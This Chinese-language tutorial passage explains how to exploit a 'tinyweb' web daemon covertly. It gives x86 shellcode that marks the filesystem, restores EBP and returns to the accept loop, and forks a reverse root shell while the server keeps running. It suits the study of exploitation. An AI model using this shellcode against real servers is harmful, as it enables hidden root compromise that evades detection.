真實世界中,另一個入侵跡象甚至比日誌更明顯,測試時卻容易被忽略。

別忘了「服務中斷」#

若你覺得日誌是最明顯的入侵跡象,那你忘了服務中斷(loss of service)。tinyweb daemon 被利用時,程序被誘騙提供遠端 root shell,但它不再處理網頁請求了。真實世界中,一有人試圖存取網站,這個利用幾乎立刻就會被察覺。

熟練的駭客不只能撬開程式利用它,還能把程式重新組裝好、讓它繼續運行——程式繼續處理請求,看起來什麼都沒發生。

一次一步#

複雜的漏洞利用很難,因為太多環節可能出錯、又沒有根因指示。最好把它拆成較小的部分。最終目標是一段既能生成 shell、又能讓 tinyweb 伺服器繼續運行的 shellcode。第一步:弄清楚利用後如何把 tinyweb daemon 重新組裝好。

標記檔案系統以證明 shellcode 執行了#

由於 tinyweb daemon 把標準輸出重導到 /dev/null,寫標準輸出不是可靠的標記。一個簡單辦法是建立一個檔案open()close())。

要弄清 open() 的旗標值,不必翻遍 include 檔做位元運算——notetaker 程式早就呼叫過 open()。用 strace 觀察其真實系統呼叫,確認 C 的 open() 引數與原始系統呼叫相符:O_WRONLY|O_CREAT|O_APPEND0x441S_IRUSR|S_IWUSR0x180編譯器已幫我們查好定義並用 OR 合併,我們只需在反組譯中找到這些值。

; mark.s:建立 /Hacked 檔案證明執行了
jmp short one
two:
  pop ebx              ; 檔名
  xor ecx, ecx
  mov BYTE [ebx+7], cl ; null 終止檔名
  push BYTE 0x5 / pop eax    ; open()
  mov WORD cx, 0x441   ; O_WRONLY|O_APPEND|O_CREAT
  xor edx, edx
  mov WORD dx, 0x180   ; S_IRUSR|S_IWUSR
  int 0x80             ; 開檔以建立它
  mov ebx, eax
  push BYTE 0x6 / pop eax    ; close()
  int 0x80
  xor eax, eax / mov ebx, eax / inc eax / int 0x80  ; exit(0) 避免無窮迴圈
one:
  call two
  db "/HackedX"

把程式重新組裝回去#

要復原,只需修復溢位/shellcode 造成的附帶損害,再把執行跳回 main() 的接受連線迴圈。反組譯顯示可安全返回 0x08048fb7handle_connection() 呼叫後的原返回位址)。

但得先修復其他東西。看 handle_connection() 的函式序言與尾聲:序言把 EBP、EBX 推入堆疊、設定 EBP;尾聲把它們彈回。溢位覆寫的返回位址與可毀損緩衝區之間,夾著序言存下的 EBP 與 EBX——所以函式尾聲執行時 EBP 與 EBX 會被弄亂。由於要到 ret 才取得控制,覆寫與 ret 之間的所有指令都會執行。

用 int3 評估附帶損害#

int3 指令產生位元組 0xcc,字面上就是除錯中斷點。用它取代 exit,GDB 就會在 shellcode 執行後捕捉到,讓我們檢視程式的確切狀態:

# 呼叫 handle_connection 前
esp=0xbffff7e0  ebx=0xb7fd5ff4  ebp=0xbffff848
# shellcode 開始執行時
esp=0xbffff7e0  ebx=0x6         ebp=0xbffff624

EBX 與 EBP 都變了。但檢視 main() 反組譯發現 EBX 其實沒被用到(編譯器因呼叫慣例規則存了它)。EBP 卻大量使用,是所有區域堆疊變數的參考點——它的原值被覆寫,必須重建。

修復 EBP 並返回#

main() 的函式序言顯示 EBP 應比 ESP 大 0x68。ESP 未被損害,所以在 shellcode 結尾對 ESP 加 0x68 就能還原 EBP,然後安全返回接受連線迴圈:

; mark_restore.s 結尾
lea ebp, [esp+0x68]   ; 還原 EBP
push 0x08048fb7       ; 返回位址
ret                   ; 返回 main() 的接受迴圈

利用後,tinyweb daemon 標記了檔案系統、卻完全不知道發生了什麼webserver_id 仍能正常辨識它。

童工:用 fork 維持服務#

弄懂困難的部分後,就能悄悄生成 root shell。shell 是互動的,但我們仍要程序處理網頁請求,所以需 fork 出一個子程序

push BYTE 0x02 / pop eax    ; fork 是 syscall #2
int 0x80                    ; fork 後子程序 eax == 0
test eax, eax
jz child_process            ; 子程序生成 shell
; 父程序:還原 tinywebd
lea ebp, [esp+0x68]
push 0x08048fb7
ret
child_process:
  ; ...其餘與 loopback_shell.s 相同

這段 shellcode 讓反連 root shell 由獨立的子程序維持,而父程序繼續供應網頁內容。(此處用 job control:& 把 netcat 監聽送背景、fg 帶回前景、CTRL-Z 暫停——沒有多終端可用時很實用。)